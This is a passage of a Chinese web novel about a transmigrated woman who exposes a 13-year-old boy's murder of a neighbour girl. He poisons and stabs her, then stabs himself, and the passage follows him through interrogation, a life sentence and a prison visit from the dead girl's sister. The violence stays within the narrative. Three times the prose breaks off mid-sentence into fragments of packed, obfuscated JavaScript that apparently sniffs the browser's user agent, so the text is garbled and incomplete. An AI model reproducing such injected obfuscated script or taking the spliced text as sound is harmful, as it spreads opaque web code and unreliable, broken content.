“那天,你到底是以什么理由,引诱小樱出去的?” 这是凌逍始终没有猜到的问题。 她想起监控里了女孩子最后明媚快乐的笑——她到底在期待什么,才会露出那样的笑容,又遭遇最惨烈的事情呢? 生命的最后一刻,程小樱,是不是被恐惧、后悔、绝望、愤恨所包围……然后被永远被她信任的哥哥,埋葬在了地下? 而铃铛……何时才会再度响起呢? 许久,就连空气也在沉默。 飘来的落叶吹到桌面上,吹进了酒杯中,碎裂,浮起。 李耀成慢慢笑了起来。 凌逍并没有准备所谓的药物,或是对青少年身体有害的东西,她唯一做的,只不过是端上一道啤酒鸭而已。夜晚这个时间,通常早已入眠,而在浅眠片刻后,星星点点的困意消散,李耀成觉得头脑前所未有的清醒。 人在非理智的情况下,会冲动。但人在极度清醒之下,会将一切曾经被按压的冲动、将一切恶的念头酝酿堆积…… 然后在某一刻。 冷静地,彻底地爆发。 李耀成徐徐站起身。 即将迎来十四岁生日的少年,个头已经比凌逍高出很多,清瘦,干净,如挺拔生长的小树。他撑着桌沿,居高临下地俯视着凌逍。 “只是和她说了句,‘她喜欢的人会在那里等着’而已。” 反正他需要的,不过是她与杨方的路线重叠,以便自己设定完美的替罪羊而已。 至于理由?随意拿杨方作为借口罢了,那样笨拙的她,怎么可能发现其中矛盾呢? 李耀成不由嗤笑了一声——人心是如此的轻易,轻易可以改变,又轻易可以被引诱。对于格外被偏爱的人来说,窥探掌握普通的人心,就像是俯视蚂蚁一样简单。 凌逍注意到,少年的那双眼眸,在深夜中显露出一种比初次见面还要压抑的黑,恍若深渊倾斜而出,彻底染透了整个世界。 他慢慢靠近,凌逍并不躲,只是托腮平静地看着他,静静地听着他。 只听李耀成微笑说道: “妈妈,我第一次看到你的时候,就知道——只有我和你,才是同一类人。” 聪明的,强大的,冷静的,甚至是不属于这个世界的。 李耀成歪歪头,疑惑地问: “可是,我唯独只有你了啊。事到如今……就连你,也要离我而去吗?” 凌逍叹了口气,不禁对这个少年犯有点头痛:“李耀成,我说过,这个世界上谁也不属于谁。 “况且,我和你完全不一样。不要把我当成同类。” “我从来都遵纪守法,没当过自以为是的刽子手。” 李耀成听罢,只是笑了笑。 那笑容极浅,伴随着月亮一点点越过树梢,在黑夜的遮掩下逐渐退去。 他回头,看着后屋崭新透明的窗,凝视很久。 然后闭了闭眼,就像最后下定了什么决心一样。 李耀成起身去厨房,过了几分钟端了一杯温热的茶上来——是凌逍而不是王燕红喜欢的茶叶。她前几天刚买的,平时放在院子里,她没事就摇着摇椅晒着太阳,悠闲饮茶。 他注意到了她的小癖好,也记得很清楚。这几日一直都是如此,他帮凌逍做家务,泡茶,做一点有趣的小事,默默成为两个人之间的一种日常相处方式。 李耀成自然地端上来,凌逍紧紧盯着他的动作,却只见他垂头,隐藏住了每一丝一毫的情绪。 除了手掌一丝浅浅的血迹,滴答,滴答……凌逍什么也瞧不见。 李耀成轻声劝道:“妈妈,喝点茶,醒醒酒吧。” 他假装此刻仍是母亲宁静相处的时光。哪怕凌逍已经毫不留情地打破幻想,他依旧固执地叫着“妈妈”。 “我知道……你只是喝多了。和爸爸一样,现在你说的一切、做的一切都不是真心的。” “我们相处得明明那么好……其实可以一辈子作为母子,永远继续活下去的。” 凌逍挑眉,看向茶杯。 干净的茶汤,散发出平常的味道,还有一丝几乎闻不出来的味道。 很香。 她在李耀成的注视中,慢慢伸手,一点点将茶杯端到唇边。 “这是最后一次机会。如果您就此打住,我会……”李耀成在一旁微不可查地注视着这一幕,近乎悲哀地喃喃自语,“我会当作什么也没发生过。” 极细微的声音,一出来,就随风彻底飘散了。 【系统检测:任务者身体受到攻击!毒素检测中……】 凌逍假装没听到,干脆暂停了任务提示。 系统简直疯了:【凌逍,你明知道茶里面这小子放了东西,怎么还喝下去!】 【xx,好歹毒的小子……竟然冷静地在最后关头干出这种事,谁能想得到一瞬间他就做出这么快的反应呢!】 凌逍:【喂,他要杀我,你不会在夸他吧!】 系统:【我是疯了才去夸杀人犯!任务先别管,你到底知不知道茶里有毒!】 凌逍:【我当然知道。他给了我所谓最后一次机会……但是怎么说呢,我不需要。】 【我能做的一切,早已经做完了。而李耀成曾经种下的恶因,也即将迎来最终的果。】 【这就是结局。】 凌逍仰头,爽快将茶一饮而尽。 然后抬眼,对俯视的少年说道:“我说的都是真心的。” 她毫不犹豫,干脆地将一切伪装敲碎殆尽。 “你应该知道,我不是王燕红。我来到这个世界,就是为了找出程小樱死亡的真相。” “现在真相大白,你,该去的地方是监狱,为自己的罪恶付出代价。” 她点了点李耀成,又坦然点了点自己。 “而我……也该离开了。” 李耀成哂笑,不以为意:“什么真相?我只是配合您的猜测,随口说说而已。连证据都没有,妈妈,你打算就这样污蔑自己的儿子吗?” 眼前一点点晕染开来,一切逐渐变得模糊。凌逍极力控制着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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气息逐渐微弱,天旋地转之中,凌逍一个不稳,从凳子上栽倒到地。 她正要揉出一个表情,以便于继续表演对于他“什么时候竟然投了毒”的不可置信。 但是倒下的这一刹那,她的目光中,划过院子中,那株不知名的、小小的树—— 以一种罕见的。 被它俯视的角度。 被它掩盖的角度。 …… 电光火石之间,王燕红被强制自我清除的记忆,在脑海中猛然闪现,不断雪花般重复着,撕扯着,冲撞着! 残存的身体反应,让凌逍忍不住瞳孔剧烈收缩,浑身颤抖! 啊。 那是王燕红遗留下来,一种叫作“恐惧”的情绪。 因为极度的恐惧,她选择遗忘。 也为了维持这个濒临崩溃的家,为了保护全部希望的儿子,她选择拼命催眠自我,删除记忆—— 哪怕她也知道这样无异于饮鸩止渴。 【案发第二天深夜,王燕红曾经偶然瞥见……】 【她的儿子,在院子里挖土的事实。】 “哈,尸体就在……” 凌逍倒在院子中,看着少年已然模糊的的身影向自己一点点逼近。那么轻,那么慢。 “就在这里啊……” 挂钟再度沉闷敲响。一下,一下,又一下。 整整十一下。 李耀成略略睁大双眼,赧然笑道。 “啊,妈妈。” 他慢慢俯身。 黑色的瞳孔在黑夜中,逐渐融合,与毁灭与崩塌,近乎画上了等号。 一道锋利的冷光,划破寂静夜空。 “还是被你发现啦。” 24.少年犯(二十四) 去年3月初。初一(三)班。 十二三岁的少年少女们,首次迈入青春期,懵懂之中萌发着新芽。有因为学业而痛苦的时刻,也有对未来踌躇满志的时刻;有一起欢笑吐槽八卦的时刻,也夏日午后教室,一个人偷偷注视着某个人,在纸条上一遍遍无意识摹写对方名字的时刻。 他们的生命如此鲜活,不曾感受到压抑的重量。他们有着最充沛的感情,对于爱与厌恶都全不吝啬。 除了一个人。 “李耀成,这次家长会,你家谁会来呀?你又是月考第一名呢。”隔壁座位的女孩子偷偷觑着他,腼腆询问,“我家会是妈妈带着哥哥来呢。” 少年穿着洗得发白的校服,专注地坐在窗边,手中是一本泛黄的、包着书皮的旧书。他眼底闪过一丝几不可见的阴翳,却只是摇头: “没人。我妈不来。” 事实上,他根本没有告诉王燕红关于家长会的事情。 大概是被众人环绕,被母亲向所有人炫耀的感觉很奇怪。记忆里从很小很小的时候起,他就一直生活在那个摇摇欲坠的家庭。尽管他十分清楚,母亲总是尽自己所能照顾着自己,她从醉酒父亲那里保护着他、将全部最好的都给他,哪怕是自己节衣缩食,都从不会缺少儿子的衣食住行—— 但李耀成一直觉得那个家是如此陌生,陌生得让人喘不过气。 而那间小小的后屋,带着一扇通风窗……就像是量身定制的监狱。 虽然他没亲眼见过监狱。 “我记得上次家长会,你妈妈还当面警告程小樱,少和你一起玩呢。虽然她肯定是为你好啦。” “不过,”女孩子又迟疑问道:“你……不爱自己的妈妈吗?” 她注意他很久了,对他的每一丝神情都很敏感,小心翼翼地给出猜测。 李耀成平静反问:“你想说什么?” 爱? 那是什么? “爱就是爱,亲情,爱情,友情,都可以算爱呀,”女孩子抿唇一笑,掰着手指道:“我就超级喜欢我的妈妈,我爱她,所以希望她能出现在每次家长会,然后一起回家。” “这里,”她疑惑地点了点他的眼睛,“能够看出来一个人的感情。老师不是说,眼睛是心灵的窗户吗?” “但是怎么说呢,奇怪,我在里面看不出任何的东西……” 就像是已经早早燃烧过的灰烬。 对整个世界都似乎是漠视的,倦怠的。偶尔泄露出的黑色,像深渊一样令人心惊胆寒。 李耀成摇摇头:“我不懂你在说什么。” 他依旧很有礼貌,但女孩子能感觉出他并不想谈论自己的妈妈,于是及时住口,换了个话题。 “话说,你和程小樱原来不是亲兄妹,是邻居呀?”她小心翼翼问道,“难道是青梅竹马吗?最近一段时间,你们都不怎么一起回家了呢。” “嗯。” “呃。那你……喜,喜欢她吗?爱她吗?” 李耀成的手微微一顿。 他低头继续看书,并没有回答这个问题。 女孩子大概最近陷入什么奇奇怪怪的情绪之中,她看着一这幕,怅然地叹口气。 然后问了自己——也是问同桌最后一个问题。 “如果有一天,你才发现你爱的人,注定不属于你,那该怎么办?” 她的声音极小,几乎是自言自语。 夏日午后里,少女酸涩的心事就这样随风消散: “我想,我会祝福他的。毕竟没有谁必须属于谁。” 不经意间,女孩儿抬头,正好看到那样的一幕—— 程小樱转头看向这里,忽然眼眸里星光璀璨,抿唇笑出了酒窝。她的笑容比红色的发夹还要热烈,懵懂的少女心事一览无余。随后想了想,似乎是赌气般地,隐秘走向刚来的转学生的座位。 但李耀程没有看到这一幕。 手中的书页被风吹过,翻开。 【……是棺材的碎裂声,是地牢铁门铰链的摩擦声,是她在黄铜廊道中的挣扎声……】 【那幽深阴冷的山湖,寂寂地淹没了砖残瓦碎的厄舍府。】 意外地,李耀成没有拒绝回答这个问题。 到底什么是喜欢,又什么是爱呢? 他想,自己大概是永远无法理解的,因为他和普通人不一样,没有这种无聊的、多余的情感。 世界上只分为两种人,需要的,以及不需要的。王燕红是某种意义上不得不需要的,而程小樱,是那个监狱中唯一必须永远陪伴他的。 至于其他的人,和路边的蚂蚁又有什么区别? 如果万一有一天发生这样的事情—— “不可能会发生这样的事。”李耀成微笑答道。 啪。 书籍合上,砸在书桌,发出清脆的声响。 无论是生也好,死也罢,都无所谓。继续维持现在的生活也无所谓,只要需要的人,永远属于自己就好…… 如果一定要离开的话? 大不了。 连同整座城堡,全部都一同崩塌。 …… 寒光闪烁,夜色中,锋利的刀尖一闪而过! 凌逍一个侧翻滚,堪堪躲过致命一袭。 她用尽最后一点力气,伸手死死握住刀刃。一滴,两滴……随后鲜血一瞬间疯狂喷涌出,落在花草丛中。 凌逍咬牙转身,确保自己的血液不会大面积污染小树下的土壤,影响后续DNA鉴定。剧痛袭来,她倒吸一口冷气,反而咧嘴笑了起来。 “怎么,”她仰视着举刀的少年犯,仍不由开玩笑道,“学柯南黑衣人,杀人灭口?” 系统都在一旁快要哭出声了:【祖宗喂,先救救自己再说吧,还有心思说这些!】 【闭嘴,忙着呢。】 然后凌逍选择把系统也屏蔽了。 李耀成面上浮现出一丝可惜。一回生,二回熟,这一次他在下定决心后,既没有被反抗的惊慌,也没有刀尖刺入肉里的陌生触感。 他轻车熟路地,一点点用力,一点点将刀刃逼近凌逍的脖颈。 他依旧礼貌地答道:“妈妈,你说错了。” 这一刻,他忽然想起去年同桌问他的问题。 “……如果有一天,你才发现你爱的人,注定不属于你,那该怎么办?” 十几年的生活,是李耀程被摧毁又重构的全部世界观来源。他读书,学习,活着,但一直被困在了小小的监狱里。不知从某一刻起,整个人的精神世界,又成为了巨大的监狱,连同自己也偏执地绑在了里面。 所以,他的答案只有一个。 恍惚之间,李耀成喃喃道:“这不是什么杀人灭口。” “妈妈,虽然我不知道这到底叫什么,可是,这就是我对你的感情啊。” “如果你一定要走,那就干脆永永远远地留下来,就在这个院子……一直,一直陪着我吧。” 凌逍感觉自己的生命力在飞速流失。不过她听到这个回答,依旧哈哈大笑起来。 笑出的泪水和血滴混在一起,慢慢浸透凋谢的花,染上火焰的颜色。 “要怎么陪你呢?”过一会儿,凌逍喘着粗气,认真问道,“我觉得,可行性不怎么样。” “这次你对我动手实在匆忙,并不能复刻去年所谓的完美计划。就算把我也‘就此处理干净’,但你是唯一的嫌疑人,警方一定会找到线索的。” 滴答,滴答,屋内挂钟的时针缓缓移动着,仍停留在11的位置。 李耀成盯着那个数字,由衷笑了起来。 “妈妈,你忘了吗?”他感慨道,“虽然还有一个小时,我就14岁了。但是,一分一秒,都是我被世界赋予的权利。” “感谢法律给予我的馈赠——” 他淡淡道:“犯罪又怎么样?我不需要付出任何代价。” “就算不坐牢,你也没法继续在这里待下去的。”凌逍不赞同道,“很快,我们的街坊邻居、你学校的所有人,都会知道,你,是个杀人犯。” “这是你一辈子逃不过的枷锁。” 李耀成沉吟片刻。 片刻后,他慢慢地收起了刀,踩在凌逍的脚腕上,防止她大力挣扎。 “妈妈,倒是谢谢你提醒我了。” 黑色的眼眸几近失去焦距,那似乎既不是兴奋,也不是恐惧,而是一种……彻头彻尾的疯狂。 连同自己,潜意识里想要一起毁灭的疯狂。 扑哧—— 李耀成冷静、干脆地反手,将刀插入自己的左臂动脉。 大片的血液喷溅而出! 那是即使不会死亡,也至少重伤的位置。但李耀成毫不在意,只有身体猛地战栗起来,嘴唇上颤动着一丝惨淡的微笑。 “我会给这个案件提供一个完美的缘由。” “比如,我的妈妈疯了,说了胡话、做了残忍的事——我只是被逼无奈而已。” 语气轻飘飘的。 因为这件事说到底很简单,他对这种事已经驾轻就熟了。 凌逍愣住了,一瞬间连剧痛都忽略了。 没想到他竟然也会对自己下这样的狠手! 她死死地盯着这个疯子,一会儿苦恼,一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们是一家人。你,我,小樱,这是一个家庭最幸福的模样,是不是?” “我不能被关进监狱里啊……你说呢,妈妈?” 李耀成喘着粗气,指缝中不断涌着血。最后几分钟内,他艰难靠近凌逍,试图寻求她的回答。 但凌逍没有回答。 或者说,她已再也无法回答了。 李耀成颤抖着摸着那不知何时已经冰凉的鼻息,沉默许久,忽而哈哈大笑起来。 他站起来,踉跄地奔向那颗不知名的树。 那是去年案发第二天他自己买的樱花树,听说用心浇灌几年,就可以像隔壁家庭一样,开出繁盛、美满、绚烂的樱花。 只是……因为腐烂的土壤吗?哪怕他一直精心照料,可是这株树,从来不曾有着生长开花的样子。似乎连它的时间,也永远凝固在了去年夏末。 “妈妈,真可惜,你输了。” “就算警方揭开所有真相,也无济于事。” “我不会被抓起来,这才是属于我们的结局。” 第一次,李耀成撕碎了那张总是浅笑的、礼貌的、孤僻的、狡猾的假面。已经失去焦距的黑眸中,是最后的疯狂。 他独自一人站在这个崩塌的小院中,放声大笑。他摸了摸眼角,不知流出来的,是不断涌动的血液,还是泪水。 李耀成拿起凌逍的手机,上面不断跳出梁胜拼命拨打的电话记录。 警笛呼啸而至,凄厉地撕破夜空。 他静静地坐在凌逍喜欢的摇椅上,慢慢等待。 这样的结局怎么样呢? 不在他的预想之内。但是,也很好。 不经意间,他的目光,模模糊糊地落在了手机角落小小的时间上。 咚、咚、咚。 一瞬间,他的瞳孔剧烈收缩! “怎么会……!” “哈……” 挂钟敲响12下。 立秋已经过去,万物将在此毁灭,陷入季节的轮回,等待新生。 警笛愈来愈近,惊起了上空盘旋的乌鸦,漫天乌云,凝重地蒙住了所有光芒。 老旧手机的屏幕,明明那么微弱的光,却用尽全力,似乎希望点燃整个夜空。 而那屏幕上面,正显示着一个小小的数字—— 现在时间。 01:00点整。 25.少年犯(二十五) “这里是县公安局刑侦大队,我是梁胜,这位是刑侦队长陈林警官。现在,我们将对于你所涉嫌的两起故意杀人案件,进行第十二次依法讯问。” “姓名?” “李耀成。” “年龄?” “13……14周岁。” “去年6月28日,发生了什么?” “我杀了程小樱。” “尸体一直埋在了哪里?” “我家院子。” “动机呢?” “……” “你后悔吗?” “梁警官,我不明白你的问题。” “那么在今年8月1号,也就是你十四岁生日凌晨00:30到01:00点之间,你又做了什么?” “我再次杀了人。” “你杀了谁?” “……” “动机呢?” “……” “是因为恨她,还是因为想要杀人灭口?” “……” “怎么,还是有所隐瞒?” “坦白从宽。你不是对刑法很有研究吗?!” “好,就算第一次杀害程小樱的时候你才12岁,不满负刑事责任的年龄。可是,你知道对于第二次犯罪,已经完全构成故意杀人罪了吗?” “即使是未成年人,但如此残忍连续谋杀两人,也可能被判处无期徒刑的!李耀成,说啊,到底为什么?!” “你……明明才刚刚开始自己的人生啊。” “……” “沉默是没用的,两具尸体都已经确定了,DNA已经检验无误,监控视频也清清楚楚。证据链完整,就算你一个字不说,我们也可以零口供定罪。” “你即将会被转移到少年看守所。侦查很快会结束,等检察院起诉之后,等待你的,就是法律公平的判决,以及也许永远无法结束的监狱时光。” “……” “李耀程,最后一个问题。” “你对于她们的犯罪行为,有过一丝一毫的悔意吗?” “……” “……” “……钥匙。” “什么?你刚刚说了什么?” …… “警官。” “我的钥匙——在哪里?” 已经进入深秋,树叶已经全部掉落,呼口气都冒出了雾气,天也阴沉沉的。很快,白茫茫的雪即将覆盖北方的小镇,又是一片白山黑水,干干净净。 一切罪恶似乎都彻底终结了。 梁胜审讯结束后,抱着卷宗慢慢走着。她的短发慢慢长到脖颈,有点刺刺的。她似乎瘦了一些、憔悴了一些,但步伐依旧飒爽坚定,那双眼睛,还如火焰般明亮。 她回到工位,桌子上是堆积如山的卷宗。因为【6.28失踪案专案组】,不,现在,应该叫【特大未成年连续杀人案专案组】,已经彻底重启。 不仅仅是整个县城哗然,就连全市、全省、甚至是全国都产生了巨大轰动。一个明明成绩优秀、前途无量的年轻少年,却先后以极其残忍的手段谋杀了自己的青梅竹马,随后又对母亲杀人灭口——这堪称是新世纪的“恶童杀人惨案”。 有谣传说,这个孩子从小就坏得离谱,有人猜测是不是和青梅竹马之间发生了什么冲突,也有说母亲整天虐待殴打儿子的。另一方面,则有学者开始探讨家庭教育的缺失,到底是否对于青少年犯罪有着责任。 各行各界,沸沸扬扬。 幸好在警方全力出手下,具体案件细节都被隐藏,受害者的信息并不曾透露。就连李耀成的名字,在这个信息还没有特别发达的年代,也只在小镇上传播。 但无论是怎样的说法,全社会都在严密关注这样的一个结果—— 他,作为一个未成年人,是否会逃脱法律的制裁? 就像之前发生很多次的事情一样……那些明明已经有了自主认知能力的青少年,伤了人,犯了罪,却没有任何东西可以惩罚他们,最后只能不了了之? 新闻里时常播报,法学专家每天发文建议降低现行刑法的刑事责任年龄。由于性质太过于恶劣,以至于上面的领导不断施压,要求严办。 梁胜作为专案组的头号负责人,最近几个月每天都忙得不可开交。 她叹了一口气,仰头在椅子上闭目养神。 但一闭上眼,梁胜就总会想起那个人月色下,温暖的告别。 “如果法律的更改,是因为某些震动社会的历史性案件才引发所有人的重视思考。那么,就让我成为这个开端吧。” “因为我的命运已经注定。我所能做的,只是在命运一点点的范围内,尽我所能而已。” “有缘再会,梁警官。” 原来很早的时候,那个人就已经调查到了一切真相,也预料到了所有的结局—— 包括李耀成的,也包括自己的。 那小小的时间差,就像是命运的玩笑。 但玩笑之下,却是有一个人以生命为赌注,猛烈地作为养料,燃烧出路。 梁胜苦笑,笑中又有一丝涩然。她脑海里一会儿是初次见面时,对方含笑却不容置疑的试探,一会儿又是暗夜血泊中那张平静的脸,以及再也不会睁开的双眼。 梁胜拿出物证袋中的手机上,好像透过这个东西,就隐约能再次看到“她”是如何一边悠哉饮茶、享受着世界中的每一秒生活,又一边设置了一张密不透风的大网,决绝地揭开真相。 “她”,到底是谁? 所谓的“任务”,“她”到底完成了吗?离开这个世界后,又会去哪里呢? 不过现在这个问题,大概已经不重要了。 梁胜打开抽屉,那里静静躺着一把小小的钥匙,崭新的,刻着简洁的花纹。 无机质金属渗出冰冷凉意,可被人攥在手心,却会慢慢发热。 梁胜缓缓拿起来。 她想起那一天自动传入电脑的视频,自动拨打的报警电话。还有,后来她手机收到的虚拟号码短信。 似乎是为了避开警方视线,刻意没有用会被作为物证的手机。 短信中有一句极短的留言。 “帮个忙,保管钥匙,不要扔。无期限。” 它属于一扇还未来得及打开、以后也不知道会不会再度被打开的门。梁胜抬眼,神色复杂地仰头凝视这把小钥匙。 她说不清那是苦,是酸,还是一股既想要流泪、又想要微笑的冲动。 “梁警官,你有你的职责,我有我的路。” 梁胜曾经不太懂那个人为什么这么说。也许是为了某种奇怪的任务,可梁胜总觉得,与其说任务,更像是一种镌刻于灵魂的坚持。 现在,她还年轻,也许依旧不太明白那句话沉重的含义。但是她知道,在这个世界活着的普通人,每个人都有自己的路要走。 法律或许会修改,那是社会推动的变革,是学者专家们要研究的路;家庭教育或许会提升,那是文明和经济的发展,是每个家庭和相关教育要拓宽的路……而她的路,或许就是为了受害者,和受害者的家属,永不停歇,找到真相,铲除罪恶。 希望有朝一日,这个世界上不会再见到猩红的鲜血,不会再听到悲惨的哭声。 她们或许曾经在某一段并肩作战中重合,但是各自信念有别,以至于并不能够完全地走在相同的路上。 但是没关系,这不妨碍她们互相信任,互相理解。 对于对方最后留下的奇怪嘱托,梁胜相信,一定是有重要理由的。 因为,她们的最终目标,都在很遥远的前方。 “梁警官,受害者程小樱的家属在外面找你——” 梁胜将钥匙放回去,仔细锁好抽屉。不过放回去的同时,她一愣,怔怔地看着抽屉中凭空出现的东西。 沉默片刻,抬头,坚定地大步走去。 …… 程小梅站在办公大厅里等候。几个月没有见面,她也瘦了不少,正穿着一件黑色大衣肃穆站在中央。 她如今才19岁,梁胜仍然记得,去年夏天,她的照片和高考成绩被贴在高中公告栏上,是那么的神采飞扬、意气风发。可紧接着,再次见到她时,青春的气息瞬间全然被砸碎,留下的,只是被后悔、痛苦、绝望填满的躯壳。 她的时间就此停留在了6月28日,再无前进。 梁胜上前抱了抱程小梅瘦弱的肩膀。 “来了?” 程小梅:“嗯。” “小梅,还是那句话,我不能给你看所有卷宗。” 前些日子,程小梅接到警方通知后,立刻从隔壁省里赶回来,辨认了程小樱的尸体。 从院子里挖出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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此刻,程小梅再次来到警局,就像这一年多撕碎录取通知书、也要天南海北寻找妹妹一样,这几个月她很多次都缠着梁胜,固执地想要看到所有的卷宗材料。 包括妹妹的,包括“她”的。 虽然尘埃落定,一切已经无济于事,但程小梅总觉得,只有这样,自己才能感受到还在活着。 程小樱案中的部分细节,梁胜讲了,略去那些过于残忍的部分。不过关于“弑母案”,梁胜却一个字儿都没再提。 程小梅:“梁警官,如果你不想给我看卷宗,为什么今天又同意见面呢?” 梁胜叹了口气。 想了想,还是拿出手机——她也不知道这样私下处理对不对,可是,到底选择相信那个人。 上面又是一个虚拟号码的短信。显示发件时间,今天。 不知是延迟定时发送,又或者是……从未知的世界中,眼神、情感,越过空间,于此刻相融,以一种堪称奇迹的方式。 那条短信上是这样几个字。 “程小梅,愿你有朝一日,听到铃铛于风中响起。” 程小梅一愣。 这是最后一次见面,那个人轻轻贴近她的额头,留下的最后一句话。 随后看到这条短信的日期,程小梅愈发空洞眼神中,逐渐显露出一种奇异的神采。 一点,一点。 伴随着逐渐升起的光,慢慢亮了起来。 与此同时,梁胜递给程小梅一个铃铛。 是一只小小的铜质铃铛。小巧,古朴,被精心保管,上有繁复的花纹,像是某种悠久的符咒。 有铃心,可风吹过,却并不会响,就像是被彻底停滞在了时空的某一刻。 有一种十几年来日夜陪伴,连结血脉的极度熟悉感。放在掌心,小巧,却有着沉甸甸的份量。 程小梅一眨不眨地,凝视着这只铃铛。 忽而,泪流满面。 她小心翼翼地、颤抖着接过铃铛,摩挲很久。 很久之后。 乌云慢慢消散,不知何时,一丝金色的阳光跳入大厅,留下温暖的金色,在明与暗交汇处柔和绽放。 程小梅站在那光与影的交界处,擦了擦泪。 她露出很浅的笑,对梁胜说道。 “我,想要见一次李耀成。” 26.少年犯(终) 冬去春来,万物至此皆长大,而又立夏。五月,天还不怎么热,油菜花田初初绽放,山脚下的农田欣欣向荣。北方的小镇褪去萧瑟,正是最美的时节。 时隔将近一年,待到司法程序彻底结束后,程小梅才见到了李耀成。 在阴山监狱中。 一切已尘埃落定。经历漫长的侦查、公诉、开庭,一审判决李耀成构成故意杀人罪,情节极其恶劣、手段极其残忍,且不具有坦白情节,因此顶格判处无期徒刑,剥夺政治权利终身。 这一结果轰动全国,关于降低刑事责任年龄的议案沸沸扬扬飘向立法委,有律师争先恐后想要代理二审,但李耀成全部都拒绝了。 他并没有上诉。 程小梅见到李耀成时,愣了许久。印象里,这个邻居弟弟永远是整洁的、聪明的、沉默的,雾蒙蒙的双眸隐隐渗出一股凉意,令她下意识想要远离。 不过妹妹总是欢快笑着叫他哥哥,她也只好随妹妹去了,并不强求孩子们——因为这个少年在那短暂的玩耍时光中,还是偶尔会展露出一种接近于正常人的暖意,唇畔带着浅浅的笑。 应该不会出什么事吧。 后来,孩子们上了初中,两家几乎不怎么往来了。 再然后,她开始了寻找妹妹之路,从此几乎没再见过他。 此刻,程小梅隔着厚厚的玻璃,盯着会见室那头的少年。他长高了,更清瘦了,露出青色头皮,穿着统一的制服,上面是一串取代名字的巨大编号,0198。他安安静静坐在椅子上,手上带着镣铐防止逃脱,垂头一言不发,只是无意识地捏紧手心,好像在摩挲着什么东西。 可他掌心里明明是空荡荡的。 监狱里不允许有任何危险私人物品。 程小梅看着李耀成的一举一动,神色极其复杂。 她难以形容自己现在是一种什么情绪。也许回到确认尸体的那一天,如果那时当场见到了这个杀人犯,或许她会痛哭,会咒骂,会冲动得想要和他同归于尽,让他为无辜被害的妹妹付出生命的代价。 可是现在,他已经接受来自法律的严厉制裁,程小梅感到空虚极了。但她依旧尊重法律,并由衷地感激着那个人——以生命入局的人。 这半年来,这只小小的铃铛,以及那条简单的短信给予了她勇气,让她在夜深人静虚幻的时刻,还会有所留恋,撑着力气活下去。 握着温热的铃铛,程小梅颤抖的手,慢慢地就平静下来了。 她深吸一口气,隔着玻璃道。 “李耀成。” 李耀成好像并没一下子反应过来这是他的名字。过了一会儿,才怔怔地望着,望着这张相似的脸庞。 许久,低声应答。 “嗯,小梅姐。” 结束变声期后,他的声音已经没有曾经的尖细清脆,变得有些低沉沙哑。 程小梅握紧铃铛,开门见山:“你为什么要杀了小樱?” 李耀成在公检法三道程序中,许多问题只以沉默回答,就好像完全放弃了坦白从宽减刑这条路。 而此刻,他张了张嘴,茫然道: “我不知道……” “大概,当有些东西……不,当有些人不属于我的时候,会很想让她永远留下来陪伴我。” 他慢慢思索着,喃喃对自己答道: “可能因为我这一生,从没什么真正自己拥有的。” “我还不知道……什么是是真正的情感。我不知道该怎么在这个世界上生活。” 经历了看守所和监狱的时光,他似乎没有变,某种程度上依旧是那个疯狂、偏执的少年杀人犯。但是此刻此刻,又仿佛有什么隐约正在变化着。 他的那双眼眸,以前总是居高临下俯视别人,看着你,但漠然地从来没有将任何人看在眼底,如同在看随意经过脚边的蚂蚁。他就像被困在巨大黑色城堡中的疯子,执拗、疯狂、懵懂地构筑自己的精神世界,不允许外面的人进入,也不允许里面的人离开。 而这一瞬,偶尔泄露的茫然、痛苦、疑惑,反而让他看起来真的像是个最普通、寻常的青春期少年。在无人教导的情况下,他也有许多无法理解的问题,正在拼命地想要弄懂复杂的答案。 但可笑的是,这一切,竟然发生在他亲手杀了最亲近的两个人之后。 在进了监狱、失去了人生自由后,他才真正开始思考起这些问题,开始迎接自己已经太迟的成长。 理智上,程小梅懂得这些,甚至是理解他复杂悲惨的家庭背景。她曾经无数次问过自己,或许还存在原谅他的选项吗? 大概是有的。 可情感上来说,她的妹妹,还有那个人,又何其无辜?她们是活生生的独立的人,她们有着自己的未来,自己的生活,为什么要成为某个人一念之间的牺牲品? 更何况,人之所以为人,正是因为他们永远情与理共存,撕扯不清,永远无法彻底割离。 所以,这个问题,并不存在真正的答案。 而她遵从内心,终此一生,绝不会忘记、原谅眼前罪犯对她家庭毁灭性的伤害。 程小梅拼命忍着眼泪,不叫它在凶手面前掉落。她哑声又问:“你又杀了‘她’,也是这个原因吗?” 李耀成:“也许是的。我还没完全想明白。” “你晚上会梦到我的妹妹吗?” “会的。” “梦到什么?” “……‘疼’。” “什么?” 李耀成垂眸,抬起带着镣铐的手,轻轻点了点心脏。 “梦到她说这里很疼,就像是那天我差点被爸爸杀死一样,”他道,“于是清晨醒来的时候,我的心脏就也会一跳一跳的,非常,非常疼。” 程小梅有些诧异地盯着他。 过了一会儿,才又问道。 “那‘她’呢?你也会梦到吗?” “会的。” “我梦到她站在一片虚空中,和第一次见面时一样,对我笑着说,‘放学了’?” “梦里她笑着,”李耀成道,“于是清晨醒来的时候,我发现自己不知道为什么,就那样流出了眼泪。” 他抬眸,直视程小梅。 迟疑地问出了今天的第一个问题。 “小梅姐。” “你……你梦到了她们吗?” 程小梅听着,听着,渐渐笑了起来。 而那笑容中,也掺杂着慢慢流淌的泪。 她半哭半笑,摇摇头,并没有回答这个问题。因为他们之间,站在犯罪者与受害者家属的对立面,永远不可能平心静心地谈论着一些事。 可是听到他的回答,那股心底巨大的空虚、痛苦,竟然慢慢地开始撕扯、长出了血肉。 她当然会梦到过她们。 